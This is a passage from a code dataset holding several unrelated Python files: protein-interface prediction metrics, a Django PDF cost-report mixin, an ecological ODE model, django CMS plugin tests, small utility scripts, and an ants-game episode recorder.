num_boxes\n self.single_box = single_box\n\n def get_prediction_scores(self, targets, predictions):\n \"\"\"\n Calculates true positive score for predictions.\n\n Args:\n targets: np.array of shape (n_interfaces, 6);\n true interface boxes;\n predictions: np.array of shape (n_predictions, 4);\n predictions;\n\n Returns:\n scores: list of [confidence, score, score_2, score_m];\n where confidence is corresponding prediction confidence scores;\n score is 0/1 for true positive;\n score_2 is 0/1 for true positive, only one TP for each target;\n score_m is least distance to any target.\n \"\"\"\n # getting top num_boxes predictions\n if self.num_boxes > 0:\n predictions = predictions[:self.num_boxes]\n elif self.num_boxes == -1:\n predictions = predictions[:len(targets)]\n elif self.num_boxes == -2:\n predictions = predictions[:len(targets) + 2]\n if len(predictions) < 1:\n return []\n # filtering out low score predictions\n predictions = predictions[np.where(predictions[:, 0] >= self.score_threshold)]\n if len(predictions) < 1:\n return []\n # getting predictions distances to targets\n if len(targets):\n scores = euclidean_distances(predictions[:, 1:4], targets[:, :3])\n else:\n scores = np.zeros((len(predictions), len(targets)))\n scores_copy = np.copy(scores)\n\n pred_gt_scores = []\n # if single_box is True, set predictions distance to 1e4,\n # so only single prediction can be true positive for each target.\n if self.single_box:\n \n for j in range(len(targets)):\n max_index = -1\n for i in range(len(predictions)):\n if ((scores[i, j] <= self.distance_threshold) \\\n and (predictions[i, 0] > predictions[max_index, 0])):\n max_index = i\n \n if max_index >= 0:\n for i in range(len(predictions)):\n if i != max_index:\n scores[i, j] = 1e4\n \n if len(targets) > 0:\n true_pred = np.zeros((len(targets)), np.int)\n # getting scores for each prediction\n for i in range(len(predictions)):\n # true positive without single_box\n if len(targets) == 0 or np.max(scores[i, :]) < 0:\n score = 0\n else:\n score = int(np.min(scores[i, :]) <= self.distance_threshold)\n # minimum distance\n if len(targets) == 0:\n score_m = -1.\n else:\n score_m = np.min(scores_copy[i, :])\n # true positive with single_box\n score2 = 0\n for j in range(len(targets)):\n if (scores[i, j] <= self.distance_threshold) and (true_pred[j] == 0):\n true_pred[j] = 1\n score2 += 1\n pred_gt_scores.append([predictions[i, 0], score, score2, score_m])\n return pred_gt_scores\n\n def precision_recall_ap(self, targets, predictions):\n \"\"\"\n Calculates precision, recall and average precision for predictions.\n\n Args:\n targets: list of np.array of shape (None, 6);\n true interface boxes for each protein;\n predictions: list of np.array of shape (None, 4);\n predictions for each protein.\n\n Returns: (precision, recall, average_precision):\n precision: float; \n recall: float;\n average_precision: float.\n \"\"\"\n # predictions true positive scores\n gt_values, gt_all = [], 0\n for i in range(len(targets)):\n gt_all += len(targets[i])\n gt_values += self.get_prediction_scores(targets[i], predictions[i])\n if len(gt_values) < 1:\n return 0., 0., 0.\n\n # get precision-recall curve\n gt_values.sort(key=lambda x: -x[0])\n TP, FP, TP2 = 0, 0, 0\n precision_rank, recall_rank = [], []\n for c_gt in gt_values:\n TP += int(c_gt[1])\n FP += 1 - int(c_gt[1])\n TP2 += int(c_gt[2])\n precision_rank.append(float(TP) / max((TP + FP), 1e-9))\n recall_rank.append(float(TP2) / max(gt_all, 1e-9)) \n if len(precision_rank) < 1:\n return 0.\n # area under precision-recall curve\n AP = precision_rank[0] * recall_rank[0]\n for i in range(1, len(precision_rank)):\n AP += (recall_rank[i] - recall_rank[i-1]) * (precision_rank[i] + precision_rank[i-1]) / 2.\n precision = TP / max((TP + FP), 1e-9) \n recall = TP2 / max(gt_all, 1e-9)\n return precision, recall, AP \n\n def __call__(self, targets, predictions):\n return self.precision_recall_ap(targets, predictions) \n\nclass PredictionLogger(Logger):\n \"\"\"\n Prediction Logger\n\n Class for logging predictions to file.\n\n Args:\n filename: str;\n path to file;\n clear: bool; default=True;\n if True, file is cleared before opening;\n separate: bool; default=False;\n if True, separate prediction file for each protein will be created;\n file name will be self.filename + name_id + \".log\", self.filename should be folder name;\n single_file: bool; default=False;\n set to True, if there is only one protein predictions,\n pdb id will not be written in the beginning of logfile in this case.\n \"\"\"\n def init(self, separate=False, single_file=False):\n self.filename_ = self.filename\n self.separate = separate\n self.single_file = single_file\n if self.single_file:\n self.separate = True\n if self.separate and not self.single_file:\n os.makedirs(self.filename_, exist_ok=True)\n\n def write(self, names, predictions, residues=[]):\n \"\"\"\n Writes predictions to log file.\n Args:\n names: list of str;\n list of pdb names;\n predictions: list of np.array of shape (None, 4);\n list of predictions for each pdb;\n residues: list of lists of str; default=[];\n list of interface residues for each prediction for each protein.\n \n For each protein records are written:\n >{name}\n {pred_0_score} {pred_0_x} {pred_0_y} {pred_0_z} {pred_0_res_0};{pred_0_res_1};...\n {pred_1_score} {pred_1_x} {pred_1_y} {pred_1_z} {pred_1_res_0};{pred_1_res_1};...\n ...\n If self.separate is True, first line is not written.\n \"\"\"\n if type(names) == str:\n names = [names]\n predictions = [predictions]\n residues = [residues]\n for i, name in enumerate(names):\n if self.separate:\n s = \"\"\n if not self.single_file:\n self.filename = os.path.join(self.filename_, name + \".log\")\n else:\n s = \">{:s}\\n\".format(name)\n for j, p in enumerate(predictions[i]):\n s += \"{:5.3f} {:7.3f} {:7.3f} {:7.3f}\".format(\n p[0], p[1], p[2], p[3])\n if len(residues) == len(predictions) and \\\n len(residues[i]) == len(predictions[i]):\n s += \" \" + \";\".join(residues[i][j])\n s += \"\\n\"\n mode = \"a\"\n if self.separate:\n mode = \"w\"\n super().write(s, end=\"\", mode=mode)\n\nclass TargetLogger(Logger):\n def write(self, names, targets):\n if type(names) == str:\n names = [names]\n targets = [targets]\n for i, name in enumerate(names):\n s = \">{:s}\\n\".format(name)\n for t in targets[i]:\n s += \"{:7.3f} {:7.3f} {:7.3f} {:7.3f} {:7.3f} {:7.3f}\\n\".format(\n t[0], t[1], t[2], t[3], t[4], t[5])\n super().write(s, end=\"\")\n\ndef read_interfaces(filename, sort=True):\n \"\"\"\n Reads interface boxes from file.\n\n Args:\n filename: str;\n path to input file;\n sort: bool; default=True;\n if True, names and interfaces are sorted by name.\n\n Returns: (names, interfaces):\n names: list of str;\n pdb names;\n interfaces: list of np.array of shape (None, 6) (or (None, 4) if predictions);\n interface boxes for each name.\n\n Records should be:\n >{name}\n {value_0_0} {value_0_1} {value_0_2} ...\n {value_1_0} {value_1_1} {value_1_2} ...\n \"\"\"\n names, predictions = [], []\n with open(filename, \"r\") as file:\n name, prediction = \"\", []\n for line in file:\n if line[0] == \">\":\n if len(name) > 0:\n names.append(name)\n predictions.append(np.array(prediction))\n name = line.rstrip()[1:]\n prediction = []\n else:\n prediction.append(np.array([float(v) for v in line.rstrip().split()]))\n if len(name) > 0:\n names.append(name)\n predictions.append(np.array(prediction))\n if sort:\n # try to sort like if each name is integer\n try:\n indexes = sorted(range(len(names)), key=lambda i: int(names[i].replace(\".pdb\", \"\")))\n except:\n indexes = sorted(range(len(names)), key=lambda i: names[i].replace(\".pdb\", \"\"))\n names = [names[i] for i in indexes]\n predictions = [predictions[i] for i in indexes]\n return names, predictions\n\ndef get_scores_positions(predictions, score_threshold=0., max_boxes=-1):\n \"\"\"\n Gets score and positions arrays of predictions.\n\n Args:\n predictions: list of np.array of shape (None, 4);\n list of predictions;\n score_threshold: float; default=0.;\n only predictions with score >= score_threshold are considered;\n max_boxes: int; default=-1;\n maximum number of predictions for each protein.\n \n Returns: (scores, positions):\n scores: list of np.array of shape (None);\n predictions scores;\n positions: list of np.array of shape (None, 3);\n predictions coordinates.\n \"\"\"\n scores, positions = [], []\n for pred in predictions:\n scores_step, positions_step = [], []\n for i, p in enumerate(pred):\n if max_boxes > 0 and i >= max_boxes:\n break\n if p[0] >= score_threshold:\n scores_step.append(p[0])\n positions_step.append(p[1:4])\n scores.append(scores_step)\n positions.append(positions_step)\n return scores, positions\n\ndef read_predictions(filename, sort=True, get_residues=False):\n \"\"\"\n Reads predictions from file.\n\n Args:\n filename: str; \n path to file;\n sort: bool; default=True;\n if True, names and predictions are sorted by name;\n get_residues: bool; default=False;\n if True, neighbor residues for predictions are read and returned as well.\n\n Returns: (names, predictions, residues) or (names, predictions):\n names: list of str;\n list of pdb names;\n predictions: list of list of np.array of shape (None, 4);\n list of predictions for each pdb;\n residues: list of lists of str;\n list of residues for each pdb for each prediction.\n\n Records should be:\n >{name}\n {pred_0_score} {pred_0_x} {pred_0_y} {pred_0_z} {pred_0_res_0};{pred_0_res_1};...\n {pred_1_score} {pred_1_x} {pred_1_y} {pred_1_z} {pred_1_res_0};{pred_1_res_1};...\n ...\n \"\"\"\n names, predictions, residues = [], [], []\n with open(filename, \"r\") as file:\n name, prediction, residue = \"\", [], []\n for line in file:\n if line[0] == \">\":\n if len(name) > 0:\n names.append(name)\n predictions.append(np.array(prediction))\n residues.append(residue)\n name = line.rstrip()[1:]\n prediction = []\n residue = []\n else:\n l = line.rstrip().split()\n prediction.append(np.array([float(v) for v in l[:4]]))\n if len(l) > 4:\n residue.append(line.rstrip().split()[4].split(\";\"))\n else:\n residue.append([])\n if len(name) > 0:\n names.append(name)\n predictions.append(np.array(prediction))\n residues.append(residue)\n if sort:\n # try to sort like if names are integers\n try:\n indexes = sorted(range(len(names)), key=lambda i: int(names[i].replace(\".pdb\", \"\")))\n except:\n indexes = sorted(range(len(names)), key=lambda i: names[i].replace(\".pdb\", \"\"))\n names = [names[i] for i in indexes]\n predictions = [predictions[i] for i in indexes]\n residues = [residues[i] for i in indexes]\n if get_residues:\n return names, predictions, residues\n else:\n return names, predictions","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":23513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"139047778","text":"from django.db.models import ExpressionWrapper, OuterRef, Subquery, DecimalField, Sum, F\nfrom django.db.models.functions import Coalesce\n\nfrom django.template.loader import get_template\nfrom weasyprint import HTML, CSS\n\nfrom .models import Literal\nfrom cargues_detalles.models import ItemsLiteralDetalle\nfrom mano_obra.models import HoraHojaTrabajo\n\n\ndef get_page_body(boxes):\n for box in boxes:\n if box.element_tag == 'body':\n return box\n return get_page_body(box.all_children())\n\n\nclass LiteralesPDFMixin(object):\n def generar_resultados(self, fecha_inicial, fecha_final, con_mo_saldo_inicial, proyecto):\n context = {}\n\n mano_obra = HoraHojaTrabajo.objects.values('literal').annotate(\n horas_trabajadas=ExpressionWrapper(\n Coalesce(Sum('cantidad_minutos') / 60, 0),\n output_field=DecimalField(max_digits=2)),\n costo_total=ExpressionWrapper(\n Sum(Coalesce(F('cantidad_minutos') / 60, 0) * (\n F('hoja__tasa__costo') / F('hoja__tasa__nro_horas_mes_trabajadas')\n )),\n output_field=DecimalField(max_digits=4))\n ).filter(\n verificado=True,\n literal_id=OuterRef('id'),\n )\n\n materiales = ItemsLiteralDetalle.objects.values('literal').annotate(\n costo_total=Coalesce(Sum('costo_total'), 0)\n ).filter(\n literal_id=OuterRef('id')\n )\n\n if fecha_inicial and fecha_final:\n materiales = materiales.filter(\n lapso__lte=fecha_final,\n lapso__gte=fecha_inicial\n )\n mano_obra = mano_obra.filter(\n hoja__fecha__lte=fecha_final,\n hoja__fecha__gte=fecha_inicial\n )\n\n qsLiterales = Literal.objects\n if proyecto:\n qsLiterales = qsLiterales.filter(\n proyecto=proyecto\n )\n\n qsLiterales = qsLiterales.annotate(\n costo_mano_obra_iniciales=ExpressionWrapper(\n Coalesce(Sum('mis_horas_trabajadas_iniciales__valor'), 0),\n output_field=DecimalField(max_digits=4)\n ),\n cantidad_mano_obra_iniciales=ExpressionWrapper(\n Coalesce(Sum('mis_horas_trabajadas_iniciales__cantidad_minutos'), 0) / 60,\n output_field=DecimalField(max_digits=4)\n ),\n cantidad_horas_trabajadas=ExpressionWrapper(\n Subquery(mano_obra.values('horas_trabajadas')),\n output_field=DecimalField(max_digits=4)\n ),\n costo_mano_obra=ExpressionWrapper(\n Subquery(mano_obra.values('costo_total')),\n output_field=DecimalField(max_digits=4)\n ),\n costo_mis_materiales=ExpressionWrapper(\n Coalesce(Subquery(materiales.values('costo_total')), 0),\n output_field=DecimalField(max_digits=4)\n )\n ).distinct()\n\n total_costo_mo = 0\n total_costo_mo_ini = 0\n total_horas_mo_ini = 0\n total_horas_mo = 0\n\n for literal in qsLiterales:\n if literal.cantidad_horas_trabajadas:\n total_horas_mo += literal.cantidad_horas_trabajadas\n if literal.cantidad_mano_obra_iniciales and con_mo_saldo_inicial:\n total_horas_mo_ini += literal.cantidad_mano_obra_iniciales\n\n if literal.costo_mano_obra:\n total_costo_mo += literal.costo_mano_obra\n if literal.costo_mano_obra_iniciales and con_mo_saldo_inicial:\n total_costo_mo_ini += literal.costo_mano_obra_iniciales\n\n total_costo_materiales = qsLiterales.aggregate(Sum('costo_mis_materiales'))['costo_mis_materiales__sum']\n\n context['tipo_consulta'] = 'Todo'\n if fecha_inicial and fecha_final:\n context['tipo_consulta'] = 'por lapso'\n context['fecha_inicial'] = fecha_inicial\n context['fecha_final'] = fecha_final\n context['literales'] = qsLiterales\n context['proyecto'] = proyecto\n context['con_mo_saldo_inicial'] = con_mo_saldo_inicial\n context['total_costo_mo'] = total_costo_mo\n context['total_costo_mo_ini'] = total_costo_mo_ini\n context['total_costo_materiales'] = total_costo_materiales\n context['total_costo'] = total_costo_mo + total_costo_mo_ini + total_costo_materiales\n\n context['total_horas_mo'] = total_horas_mo\n context['total_horas_mo_ini'] = total_horas_mo_ini\n\n return context\n\n def generar_pdf(self, request, fecha_inicial, fecha_final, con_mo_saldo_inicial, proyecto):\n context = self.generar_resultados(fecha_inicial, fecha_final, con_mo_saldo_inicial, proyecto)\n context['user'] = request.user\n html_get_template = get_template('reportes/proyectos/costos.html').render(context)\n html = HTML(\n string=html_get_template,\n base_url=request.build_absolute_uri()\n )\n main_doc = html.render(stylesheets=[CSS('static/css/reportes.css')])\n return main_doc\n\n def generar_pdf_costos_dos(self, request, fecha_inicial, fecha_final, con_mo_saldo_inicial):\n context = self.generar_resultados(fecha_inicial, fecha_final, con_mo_saldo_inicial, None)\n context['user'] = request.user\n html_get_template = get_template('reportes/proyectos/costos_dos.html').render(context)\n html = HTML(\n string=html_get_template,\n base_url=request.build_absolute_uri()\n )\n main_doc = html.render(stylesheets=[CSS('static/css/reportes.css')])\n return main_doc\n\n def generar_pdf_costos_tres(self, request, fecha_inicial, fecha_final, con_mo_saldo_inicial):\n context = self.generar_resultados(fecha_inicial, fecha_final, con_mo_saldo_inicial, None)\n context['user'] = request.user\n html_get_template = get_template('reportes/proyectos/costos_tres.html').render(context)\n html = HTML(\n string=html_get_template,\n base_url=request.build_absolute_uri()\n )\n main_doc = html.render(stylesheets=[CSS('static/css/reportes.css')])\n return main_doc\n","sub_path":"proyectos/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":6233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"370583034","text":"# Community II\n# One stage-structured consumer species feeding on two resources\n# For units and references, see Table S1.2 in Appendix S1\n# Created by Wojciech Uszko (2021)\n\nimport numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\n\n# Body masses (ng dry weight):\n\nB_J = 100 # juvenile\nB_A = 1000 # adult\n\n# Temperature- or body mass-independent parameters:\n\ndeltaRS = 0.1 # small resource supply rate\ndeltaRL = 0.1 # large resource supply rate\n\nq = 0 # functional response (Hill) exponent; if =0 then type II\n\np = 0.85 # diet preference\npJRS = p\npJRL = 1-pJRS\npARS = 1-pJRS\npARL = pJRS\n\nbetaJ = 0.6 # juvenile conversion efficiency\nbetaA = 0.6 # adult conversion efficiency\n\nHJRS = 0.2 # half-saturation constant\nHJRL = 0.2 # half-saturation constant\nHARS = 0.2 # half-saturation constant\nHARL = 0.2 # half-saturation constant\n\nzJA = 0.1 # juvenile-to-adult mass ratio\n\nmuJ = 0.01 # juvenile background mortality rate\nmuA = 0.01 # adult background mortality rate\n\n# Ambient temperature (Kelvin):\n\nT = 273.15 + 20\n\n\"\"\"\n# Temperature- or body mass-dependent parameters\n# Without size-temperature interaction:\n\n# Resource supply density:\nRSmax = 0.0042 * np.exp( 0.151/(0.00008617*T) )\nRLmax = RSmax\n \n# Consumer maximum ingestion rate:\nIJRSmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_J\nIJRLmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_J\nIARSmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\nIARLmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\n\n# Consumer metabolic rate:\nmJ = (850000000 * (B_J**0.7) * np.exp( -0.56/(0.00008617*T) )) / B_J\nmA = (850000000 * (B_A**0.7) * np.exp( -0.56/(0.00008617*T) )) / B_A\n\"\"\"\n\n\n# Temperature- or body mass-dependent parameters\n# With size-temperature interaction in Rmax and in temperature optimum of Imax:\n\n# Resource supply density:\nRSmax = 0.0042 * np.exp( 0.151/(0.00008617*T) )\nRLmax = (5.88* 10**(-7)) * np.exp( 0.37564/(0.00008617*T) )\n\n# Consumer maximum ingestion rate:\nIJRSmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+24))**2)/(2*(8**2)))) / B_J\nIJRLmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+24))**2)/(2*(8**2)))) / B_J\nIARSmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\nIARLmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\n\n# Consumer metabolic rate:\nmJ = (850000000 * (B_J**0.7) * np.exp( -0.56/(0.00008617*T) )) / B_J\nmA = (850000000 * (B_A**0.7) * np.exp( -0.56/(0.00008617*T) )) / B_A\n\n\n\"\"\"\n# Temperature- or body mass-dependent parameters\n# With size-temperature interaction in Rmax and in metabolic rate:\n\n# Resource supply density:\nRSmax = 0.0042 * np.exp( 0.151/(0.00008617*T) )\nRLmax = (5.88* 10**(-7)) * np.exp( 0.37564/(0.00008617*T) )\n\n# Consumer maximum ingestion rate:\nIJRSmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_J\nIJRLmax = (19 * (B_J**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_J\nIARSmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\nIARLmax = (19 * (B_A**(0.7)) * np.exp(-((T-(273.15+20))**2)/(2*(8**2)))) / B_A\n\n# Consumer metabolic rate:\nmJ = (850000000 * (B_J**(0.7 + 0.0005*T)) * np.exp( -0.56/(0.00008617*T) )) / B_J\nmA = (850000000 * (B_A**(0.7 + 0.0005*T)) * np.exp( -0.56/(0.00008617*T) )) / B_A\n\"\"\"\n\n# Specify the model:\ndef model(X,t):\n # Variables:\n RS = X[0] # small resource biomass density\n RL = X[1] # large resource biomass density\n J = X[2] # juvenile biomass density\n A = X[3] # adult biomass density\n # Ingestion rates:\n IJRS = ( ( pJRS * (IJRSmax/(HJRS**(1+q))) * RS**(1+q) + 0 * (IJRLmax/(HJRL**(1+q))) * RL**(1+q) ) / \n ( 1 + (pJRS/(HJRS**(1+q))) * RS**(1+q) + (pJRL/(HJRL**(1+q))) * RL**(1+q) ) )\n IJRL = ( ( 0 * (IJRSmax/(HJRS**(1+q))) * RS**(1+q) + pJRL * (IJRLmax/(HJRL**(1+q))) * RL**(1+q) ) / \n ( 1 + (pJRS/(HJRS**(1+q))) * RS**(1+q) + (pJRL/(HJRL**(1+q))) * RL**(1+q) ) )\n IARS = ( ( pARS * (IARSmax/(HARS**(1+q))) * RS**(1+q) + 0 * (IARLmax/(HARL**(1+q))) * RL**(1+q) ) / \n ( 1 + (pARS/(HARS**(1+q))) * RS**(1+q) + (pARL/(HARL**(1+q))) * RL**(1+q) ) )\n IARL = ( ( 0 * (IARSmax/(HARS**(1+q))) * RS**(1+q) + pARL * (IARLmax/(HARL**(1+q))) * RL**(1+q) ) / \n ( 1 + (pARS/(HARS**(1+q))) * RS**(1+q) + (pARL/(HARL**(1+q))) * RL**(1+q) ) )\n # Stage-specific production rates:\n vJ = betaJ*(IJRS+IJRL) - mJ # juvenile production rate\n gammaJ = (vJ - muJ) / (1 - zJA**(1-(muJ/vJ))) # maturation rate\n vA = betaA*(IARS+IARL) - mA # reproduction rate\n # ODE system:\n dRSdt = deltaRS*(RSmax - RS) - IJRS*J - IARS*A\n dRLdt = deltaRL*(RLmax - RL) - IJRL*J - IARL*A\n dJdt = max(vA,0)*A + vJ*J - max(gammaJ,0)*J - muJ*J\n dAdt = max(gammaJ,0)*J + min(vA,0)*A - muA*A\n return np.array([dRSdt, dRLdt, dJdt, dAdt])\n\n# Initial densities for RS, RL, J, A\nX0 = np.array([0.01, 0.01, 0.01, 0.01])\n\n# Time range\nt = np.linspace(0,300,1000)\n\n# Solve ODE\nX = odeint(model,X0,t)\n\n# Plot results\nRS,RL,J,A = np.transpose(X)\n\nplt.figure()\nplt.plot(t, RS, 'g-', label='RS', linewidth=1.0)\nplt.plot(t, RL, 'g-', label='RL', linewidth=2.5)\nplt.legend(loc='upper right')\nplt.xlabel('Time (day)')\nplt.ylabel('Density (mg/L)')\nplt.show()\n\nplt.figure()\nplt.plot(t, J, 'k-', label='J', linewidth=1.0)\nplt.plot(t, A, 'k-', label='A', linewidth=2.5)\nplt.legend(loc='upper right')\nplt.xlabel('Time (day)')\nplt.ylabel('Density (mg/L)')\nplt.show()\n","sub_path":"Python/model_II.py","file_name":"model_II.py","file_ext":"py","file_size_in_byte":5600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"514857627","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUnit tests for the subject plugin and its model\n\"\"\"\nfrom django import forms\nfrom django.conf import settings\n\nfrom cms.api import add_plugin, create_page\nfrom cms.test_utils.testcases import CMSTestCase\nfrom djangocms_picture.cms_plugins import PicturePlugin\n\nfrom richie.apps.core.factories import FilerImageFactory, UserFactory\nfrom richie.apps.core.helpers import create_i18n_page\nfrom richie.apps.courses.cms_plugins import SubjectPlugin\nfrom richie.apps.courses.factories import SubjectFactory\nfrom richie.apps.courses.models import SubjectPluginModel\n\n\nclass SubjectPluginTestCase(CMSTestCase):\n \"\"\"\n Test that SubjectPlugin correctly displays a Subject's page placeholders content\n \"\"\"\n\n def test_cms_plugins_subject_form_page_choices(self):\n \"\"\"\n The form to create a subject plugin should only list subject pages in the select box.\n \"\"\"\n\n class SubjectPluginModelForm(forms.ModelForm):\n \"\"\"A form for testing the choices in the select box\"\"\"\n\n class Meta:\n model = SubjectPluginModel\n fields = [\"page\"]\n\n subject = SubjectFactory()\n other_page_title = \"other page\"\n create_page(other_page_title, \"richie/fullwidth.html\", settings.LANGUAGE_CODE)\n plugin_form = SubjectPluginModelForm()\n self.assertIn(subject.extended_object.get_title(), plugin_form.as_table())\n self.assertNotIn(other_page_title, plugin_form.as_table())\n\n def test_cms_plugins_subject_render_on_public_page(self):\n \"\"\"\n The subject plugin should render as expected on a public page.\n \"\"\"\n # Create a filer fake image\n image = FilerImageFactory()\n\n # Create a Subject\n subject = SubjectFactory(\n page_title={\"en\": \"public title\", \"fr\": \"titre publique\"}\n )\n subject_page = subject.extended_object\n\n # Add logo to related placeholder\n logo_placeholder = subject_page.placeholders.get(slot=\"logo\")\n add_plugin(\n logo_placeholder,\n PicturePlugin,\n \"en\",\n **{\"picture\": image, \"attributes\": {\"alt\": \"logo description\"}}\n )\n add_plugin(\n logo_placeholder,\n PicturePlugin,\n \"fr\",\n **{\"picture\": image, \"attributes\": {\"alt\": \"description du logo\"}}\n )\n\n # Create a page to add the plugin to\n page = create_i18n_page({\"en\": \"A page\", \"fr\": \"Une page\"})\n placeholder = page.placeholders.get(slot=\"maincontent\")\n add_plugin(placeholder, SubjectPlugin, \"en\", **{\"page\": subject_page})\n add_plugin(placeholder, SubjectPlugin, \"fr\", **{\"page\": subject_page})\n\n subject_page.publish(\"en\")\n subject_page.publish(\"fr\")\n subject.refresh_from_db()\n\n page.publish(\"en\")\n page.publish(\"fr\")\n\n url = page.get_absolute_url(language=\"en\")\n\n # The subject plugin should not be visible on the public page before it is published\n subject_page.unpublish(\"en\")\n response = self.client.get(url)\n self.assertNotContains(response, \"public title\")\n\n # Republish the plugin\n subject_page.publish(\"en\")\n\n # Now modify the subject to have a draft different from the public version\n title_obj = subject_page.get_title_obj(language=\"en\")\n title_obj.tile = \"draft title\"\n title_obj.save()\n\n # Publishing the page again should make the plugin public\n page.publish(\"en\")\n\n # Check the page content in English\n response = self.client.get(url)\n # Subject's title should be present as a link to the cms page\n # And CMS page title should be in title attribute of the link\n self.assertContains(\n response,\n '{:s}'.format(\n subject.public_extension.extended_object.get_title()\n ),\n html=True,\n )\n self.assertNotContains(response, \"draft title\")\n\n # Subject's logo should be present\n # pylint: disable=no-member\n self.assertContains(response, image.file.name)\n\n # Same checks in French\n url = page.get_absolute_url(language=\"fr\")\n response = self.client.get(url)\n self.assertContains(\n response,\n ' 0:\n Game.reset_score()\n\n if count > 0 and count % 1000 == 0:\n Game.set_cash(count)\n if count > 0 and count % 20000 == 0:\n Game.plt_cash()\n #if count >= 1000 and count % 1000 == 0:\n # Game.set_cash(count)\n #if count > 0 and count % 20000 == 0:\n # Game.plt_cash()\n Game.plt_img(state_next)\n\n #if count >= 10000 and count % 2000 == 0:\n # for i in range(50):\n # train.optimize()\n\n #if count >= 2000000 and count % 2000000 == 0:\n # train.save_nets(count)\n\n\n count += 1\n #print(count)\n\n \nrun()","sub_path":"4つ色テスト2/GameStart.py","file_name":"GameStart.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"8494096","text":"import csv\n\nwith open('./data/final.csv', 'r') as fin: #读有空行的csv文件,舍弃空行\n lines = ''\n for line in fin:\n if line != '\\n':\n lines += line\n \nwith open('E:\\\\test.csv', 'wt') as fout: #再次文本方式写入,不含空行\n fout.write(lines)\n","sub_path":"successed/2020-04/1688/replace_line.py","file_name":"replace_line.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"62220532","text":"\"\"\"\nThis script plays x * 5^n games on the specifed maps and stores\nthe results to a file. 'n' is the number of players in the map,\nwhile 'x' is the number of runs to play each player combination.\nThe final outpu is stored in a pickle file with the name\n___..._.pickle.\n\"\"\"\nimport argparse\nimport glob\nimport itertools as it\nimport os\nimport pickle\nimport re\nimport sys\nfrom functools import partial\nfrom multiprocessing import Pool\nfrom types import SimpleNamespace\n\nimport numpy as np\n\nGYM_MODULE_PATH = os.path.join(\n os.path.dirname(os.path.abspath(__file__)),\n '../../../'\n)\nsys.path.append(GYM_MODULE_PATH)\ntry:\n import trained_bots.utils as utils\nexcept ImportError as e:\n print(f'Module not found in {GYM_MODULE_PATH}')\n raise e\n\nCURRENT_DIR = os.path.dirname(os.path.abspath(__file__))\nWINNER_BOT_DIR = os.path.join(\n CURRENT_DIR,\n '../../../winner_bots/first_place/'\n)\nWINNER_BOT_CMD = f'java -cp {WINNER_BOT_DIR} MyBot'\n\ndef get_players_combinations(num_players):\n bot_gen = [\n lambda: utils.enemybots.CmdBot('xanthis', WINNER_BOT_CMD),\n lambda: utils.enemybots.SampleBots.random_bot(),\n lambda: utils.enemybots.SampleBots.lefty_bot(),\n lambda: utils.enemybots.SampleBots.hunter_bot(),\n lambda: utils.enemybots.SampleBots.greedy_bot(),\n ]\n\n result = []\n ind_list = list(range(len(bot_gen)))\n for selection in it.product(*([ind_list] * num_players)):\n result.append([bot_gen[i]() for i in selection])\n return result\n\ndef get_slim_info(info):\n return SimpleNamespace(\n food_distr = info.FoodFunc.food_distr,\n raze_loc = info.ScoreFunc.scores\n )\n\ndef play_game(map_file, players):\n game_opts = utils.antsgym.AntsEnvOptions() \\\n .set_map_file(map_file) \\\n .set_turns(2000) \\\n .set_scenario(True)\n reward_func = utils.reward.CompositeFunc([\n (utils.reward.FoodFunc(), 0),\n (utils.reward.ScoreFunc(), 1)\n ])\n agent_names = [player.name for player in players]\n env = utils.antsgym.AntsEnv(game_opts, [], reward_func, agent_names)\n agents = [utils.antsgym.SampleAgent(player, env, i) for i, player in enumerate(players)]\n for agent in agents:\n agent.setup()\n\n result = []\n state = env.reset()\n while True:\n actions = []\n for agent in agents:\n agent.update_map(state)\n actions.append(agent.get_moves())\n actions = np.concatenate(actions, axis=0)\n n_state, reward, done, info = env.step(actions)\n result.append(SimpleNamespace(\n state=state, next_state=n_state,\n reward=reward, info=get_slim_info(info),\n action=actions\n ))\n state = n_state\n if done:\n result = SimpleNamespace(\n history=result, result=env.get_game_result()\n )\n break\n env.reset()\n return result\n\ndef evaluate_step_values(episode_data, discount_factor):\n e_instance = episode_data.history[0]\n prev_reward = np.zeros(e_instance.reward.shape)\n prev_food_distr = np.zeros(e_instance.info.food_distr.shape)\n for i, step in enumerate(reversed(episode_data.history)):\n step.reward += (discount_factor * prev_reward)\n prev_reward = step.reward\n\n step.info.food_distr += (discount_factor * prev_food_distr)\n prev_food_distr = step.info.food_distr\n\ndef run_episode_data(map_file, trial, discount_factor, players):\n map_name = os.path.basename(map_file)\n map_name = os.path.splitext(map_name)[0]\n save_file_name = os.path.join(\n CURRENT_DIR,\n f'episodes/{map_name}_{\"_\".join([p.name for p in players])}_{trial}.pickle'\n )\n print(f'Started {save_file_name}')\n data = play_game(map_file, players)\n evaluate_step_values(data, discount_factor)\n with open(save_file_name, 'wb') as file_handle:\n pickle.dump(data, file_handle, 